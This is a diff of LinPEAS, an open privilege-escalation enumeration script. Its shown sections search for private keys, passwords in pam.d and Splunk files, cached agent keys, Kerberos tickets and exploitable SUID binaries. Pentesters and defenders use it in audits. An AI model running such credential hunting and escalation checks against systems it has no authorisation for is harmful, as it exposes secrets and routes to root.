echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${SED_RED}," echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${SED_RED},"
fi fi
done done
@@ -221,20 +221,30 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then
hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)" hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)"
hostsallow="$(ls /etc/hosts.allow 2>/dev/null)" hostsallow="$(ls /etc/hosts.allow 2>/dev/null)"
writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null) writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
else
sshconfig="$(ls ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null)"
hostsdenied="$(ls ${ROOT_FOLDER}etc/hosts.denied 2>/dev/null)"
hostsallow="$(ls ${ROOT_FOLDER}etc/hosts.allow 2>/dev/null)"
writable_agents=$(find ${ROOT_FOLDER} -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
fi fi
peass{SSH} peass{SSH}
grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED}," grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED},"
if [ "$TIMEOUT" ]; then if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$TIMEOUT" ]; then
privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null)
privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null) privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null)
privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null) privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null)
privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null) privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null)
else else
privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout
privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null) privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null)
fi
else
# If $SEARCH_IN_FOLDER lets just search for private keys in the whole firmware
privatekeyfilesetc=$(timeout 120 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' "$ROOT_FOLDER" 2>/dev/null)
fi fi
if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then
@@ -267,7 +277,7 @@ if ssh-add -l 2>/dev/null | grep -qv 'no identities'; then
ssh-add -l ssh-add -l
echo "" echo ""
fi fi
if gpg-connect-agent "keyinfo --list" /bye | grep "D - - 1"; then if gpg-connect-agent "keyinfo --list" /bye 2>/dev/null | grep "D - - 1"; then
print_3title "Listing gpg keys cached in gpg-agent" print_3title "Listing gpg keys cached in gpg-agent"
gpg-connect-agent "keyinfo --list" /bye gpg-connect-agent "keyinfo --list" /bye
echo "" echo ""
@@ -284,29 +294,29 @@ fi
if [ "$hostsdenied" ]; then if [ "$hostsdenied" ]; then
print_3title "/etc/hosts.denied file found, read the rules:" print_3title "/etc/hosts.denied file found, read the rules:"
printf "$hostsdenied\n" printf "$hostsdenied\n"
cat "/etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN}," cat " ${ROOT_FOLDER}etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN},"
echo "" echo ""
fi fi
if [ "$hostsallow" ]; then if [ "$hostsallow" ]; then
print_3title "/etc/hosts.allow file found, trying to read the rules:" print_3title "/etc/hosts.allow file found, trying to read the rules:"
printf "$hostsallow\n" printf "$hostsallow\n"
cat "/etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED}," cat " ${ROOT_FOLDER}etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED},"
echo "" echo ""
fi fi
if [ "$sshconfig" ]; then if [ "$sshconfig" ]; then
echo "" echo ""
echo "Searching inside /etc/ssh/ssh_config for interesting info" echo "Searching inside /etc/ssh/ssh_config for interesting info"
grep -v "^#" /etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED}," grep -v "^#" ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED},"
fi fi
echo "" echo ""
peass{PAM Auth} peass{PAM Auth}
#-- SI) Passwords inside pam.d #-- SI) Passwords inside pam.d
pamdpass=$(grep -Ri "passwd" /etc/pam.d/ 2>/dev/null | grep -v ":#") pamdpass=$(grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#")
if [ "$pamdpass" ] || [ "$DEBUG" ]; then if [ "$pamdpass" ] || [ "$DEBUG" ]; then
print_2title "Passwords inside pam.d" print_2title "Passwords inside pam.d"
grep -Ri "passwd" /etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED}," grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED},"
echo "" echo ""
fi fi
@@ -315,17 +325,21 @@ peass{NFS Exports}
#-- SI) Kerberos #-- SI) Kerberos
kadmin_exists="$(command -v kadmin)" kadmin_exists="$(command -v kadmin)"
klist_exists="$(command -v klist)" klist_exists="$(command -v klist)"
if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then kinit_exists="$(command -v kinit)"
if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$kinit_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then
print_2title "Searching kerberos conf files and tickets" print_2title "Searching kerberos conf files and tickets"
print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory" print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory"
if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi
if [ "$kinit_exists" ]; then echo "kadmin was found on $kinit_exists" | sed "s,$kinit_exists,${SED_RED},"; fi
if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)" ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), you might find tickets inside processes memory" | sed "s,is disabled,${SED_RED},g"; if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), you might find tickets inside processes memory" | sed "s,is disabled,${SED_RED},g";
else echo "ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory" | sed "s,is enabled,${SED_GREEN},g"; else echo "ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory" | sed "s,is enabled,${SED_GREEN},g";
fi fi
(env || printenv) 2>/dev/null | grep -E "^KRB5" | sed -${E} "s,KRB5,${SED_RED},g"
printf "%s\n" "$PSTORAGE_KERBEROS" | while read f; do printf "%s\n" "$PSTORAGE_KERBEROS" | while read f; do
if [ -r "$f" ]; then if [ -r "$f" ]; then
if echo "$f" | grep -q .k5login; then if echo "$f" | grep -q .k5login; then
@@ -366,6 +380,8 @@ if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [
fi fi
peass{FreeIPA}
peass{Knockd} peass{Knockd}
peass{Kibana} peass{Kibana}
@@ -495,7 +511,7 @@ SPLUNK_BIN="$(command -v splunk 2>/dev/null)"
if [ "$PSTORAGE_SPLUNK" ] || [ "$SPLUNK_BIN" ] || [ "$DEBUG" ]; then if [ "$PSTORAGE_SPLUNK" ] || [ "$SPLUNK_BIN" ] || [ "$DEBUG" ]; then
print_2title "Searching uncommon passwd files (splunk)" print_2title "Searching uncommon passwd files (splunk)"
if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${SED_RED},"; fi if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${SED_RED},"; fi
printf "%s\n" "$PSTORAGE_SPLUNK" | sort | uniq | while read f; do printf "%s\n" "$PSTORAGE_SPLUNK" | grep -v ".htpasswd" | sort | uniq | while read f; do
if [ -f "$f" ] && ! [ -x "$f" ]; then if [ -f "$f" ] && ! [ -x "$f" ]; then
echo "passwd file: $f" | sed "s,$f,${SED_RED}," echo "passwd file: $f" | sed "s,$f,${SED_RED},"
cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${SED_RED}," cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${SED_RED},"
@@ -558,8 +574,9 @@ peass{Cache Vi}
peass{Wget} peass{Wget}
##-- SI) containerd installed ##-- SI) containerd installed
containerd=$(command -v ctr) if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$containerd" ] || [ "$DEBUG" ]; then containerd=$(command -v ctr)
if [ "$containerd" ] || [ "$DEBUG" ]; then
print_2title "Checking if containerd(ctr) is available" print_2title "Checking if containerd(ctr) is available"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation"
if [ "$containerd" ]; then if [ "$containerd" ]; then
@@ -567,17 +584,20 @@ if [ "$containerd" ] || [ "$DEBUG" ]; then
ctr image list 2>&1 ctr image list 2>&1
fi fi
echo "" echo ""
fi
fi fi
##-- SI) runc installed ##-- SI) runc installed
runc=$(command -v runc) if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$runc" ] || [ "$DEBUG" ]; then runc=$(command -v runc)
if [ "$runc" ] || [ "$DEBUG" ]; then
print_2title "Checking if runc is available" print_2title "Checking if runc is available"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation"
if [ "$runc" ]; then if [ "$runc" ]; then
echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
fi fi
echo "" echo ""
fi
fi fi
#-- SI) Docker #-- SI) Docker

View File

@@ -1,712 +0,0 @@
###########################################
#----------) Interesting files (----------#
###########################################
check_critial_root_path(){
folder_path="$1"
if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi
}
##-- IF) SUID
print_2title "SUID - Check easy privesc, exploits and write perms"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
if ! [ "$STRINGS" ]; then
echo_not_found "strings"
fi
if ! [ "$STRACE" ]; then
echo_not_found "strace"
fi
suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null)
for s in $suids_files; do
s=$(ls -lahtr "$s")
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
if echo "$s" | grep -qE "^total"; then break; fi
sname="$(echo $s | awk '{print $9}')"
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
true #Don't do nothing
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED},"
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else
c="a"
for b in $sidB; do
if echo $s | grep -q $(echo $b | cut -d % -f 1); then
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
c=""
break;
fi
done;
if [ "$c" ]; then
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
else
echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED},"
printf $ITALIC
if ! [ "$FAST" ] && [ "$STRINGS" ]; then
$STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do
sline_first="$(echo "$sline" | cut -d ' ' -f1)"
if echo "$sline_first" | grep -qEv "$cfuncs"; then
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
fi
else #If not a path
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then #Check if existing binary
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
fi
fi
fi
done
if ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then
printf $ITALIC
echo "----------------------------------------------------------------------------------------"
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH
export LD_LIBRARY_PATH=""
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
printf $NC
export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH
echo "----------------------------------------------------------------------------------------"
echo ""
fi
fi
fi
fi
fi
done;
echo ""
##-- IF) SGID
print_2title "SGID"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null)
for s in $sgids_files; do
s=$(ls -lahtr "$s")
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
if echo "$s" | grep -qE "^total";then break; fi
sname="$(echo $s | awk '{print $9}')"
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
true #Don't do nothing
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED},"
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else
c="a"
for b in $sidB; do
if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
c=""
break;
fi
done;
if [ "$c" ]; then
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
else
echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED},"
printf $ITALIC
if ! [ "$FAST" ] && [ "$STRINGS" ]; then
$STRINGS "$sname" | sort | uniq | while read sline; do
sline_first="$(echo $sline | cut -d ' ' -f1)"
if echo "$sline_first" | grep -qEv "$cfuncs"; then
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n"
fi
else #If not a path
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then #Check if existing binary
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n"
fi
fi
fi
done
if ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then
printf "$ITALIC"
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
printf "$NC"
echo ""
fi
fi
fi
fi
fi
done;
echo ""
##-- IF) Misconfigured ld.so
if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then
print_2title "Checking misconfigurations of ld.so"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld-so"
printf $ITALIC"/etc/ld.so.conf\n"$NC;
cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
cat /etc/ld.so.conf 2>/dev/null | while read l; do
if echo "$l" | grep -q include; then
ini_path=$(echo "$l" | cut -d " " -f 2)
fpath=$(dirname "$ini_path")
if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
printf $ITALIC"$fpath\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
for f in $fpath/*; do
printf $ITALIC" $f\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
cat "$f" | grep -v "^#" | sed -${E} "s,$ldsoconfdG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
done
fi
done
echo ""
fi
##-- IF) Capabilities
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Capabilities"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
if [ "$(command -v capsh)" ]; then
echo "Current env capabilities:"
(capsh --print 2>/dev/null | grep "Current:" | sed -${E} "s,$capsB,${SED_RED_YELLOW}," ) || echo_not_found "capsh"
echo "Current proc capabilities:"
(cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status"
echo ""
echo "Parent Shell capabilities:"
(capsh --decode=0x"$(cat /proc/$PPID/status 2>/dev/null | grep CapEff | awk '{print $2}')" 2>/dev/null) || echo_not_found "capsh"
else
echo "Current capabilities:"
cat /proc/self/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|0000003fffffffff,${SED_GREEN},g"
echo ""
echo "Shell capabilities:"
cat /proc/$PPID/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|0000003fffffffff,${SED_GREEN},g"
fi
echo ""
echo "Files with capabilities (limited to 50):"
getcap -r / 2>/dev/null | head -n 50 | while read cb; do
capsVB_vuln=""
for capVB in $capsVB; do
capname="$(echo $capVB | cut -d ':' -f 1)"
capbins="$(echo $capVB | cut -d ':' -f 2)"
if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then
echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW},"
capsVB_vuln="1"
break
fi
done
if ! [ "$capsVB_vuln" ]; then
echo "$cb" | sed -${E} "s,$capsB,${SED_RED},"
fi
if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then
echo "$cb is writable" | sed -${E} "s,.*,${SED_RED},"
fi
done
echo ""
fi
##-- IF) Users with capabilities
if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then
print_2title "Users with capabilities"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
if [ -f "/etc/security/capability.conf" ]; then
grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
else echo_not_found "/etc/security/capability.conf"
fi
echo ""
fi
##-- IF) AppArmor profiles to prevent suid/capabilities abuse
if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then
print_2title "AppArmor binary profiles"
ls -l /etc/apparmor.d/ 2>/dev/null | grep -E "^-" | grep "\."
echo ""
fi
fi
##-- IF) Files with ACLs
print_2title "Files with ACLs (limited to 50)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls"
if ! [ "$SEARCH_IN_FOLDER" ]; then
( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
else
( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
fi
if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow)
ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
fi
echo ""
##-- IF) Files with ResourceFork
#if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER
# print_2title "Files with ResourceFork"
# print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#resource-forks-or-macos-ads"
# find $HOMESEARCH -type f -exec ls -ld {} \; 2>/dev/null | grep -E ' [x\-]@ ' | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
#fi
#echo ""
##-- IF) .sh files in PATH
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title ".sh files in path"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path"
echo $PATH | tr ":" "\n" | while read d; do
for f in $(find "$d" -name "*.sh" 2>/dev/null); do
if ! [ "$IAMROOT" ] && [ -O "$f" ]; then
echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED},"
elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits)
echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else
echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},";
fi
done
done
echo ""
broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken)
if [ "$broken_links" ] || [ "$DEBUG" ]; then
print_2title "Broken links in path"
echo $PATH | tr ":" "\n" | while read d; do
find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},";
done
echo ""
fi
fi
##-- IF) Executable files added by user
print_2title "Executable files added by user (limit 70)"
if ! [ "$SEARCH_IN_FOLDER" ]; then
find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems" | sort | tail -n 70
else
find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems" | sort | tail -n 70
fi
if [ "$MACPEAS" ]; then
print_2title "Unsigned Applications"
macosNotSigned /System/Applications
fi
##-- IF) Unexpected in /opt
if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$(ls /opt 2>/dev/null)" ]; then
print_2title "Unexpected in /opt (usually empty)"
ls -la /opt
echo ""
fi
fi
##-- IF) Unexpected folders in /
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Unexpected in root"
if [ "$MACPEAS" ]; then
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
else
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
fi
echo ""
fi
##-- IF) Files (scripts) in /etc/profile.d/
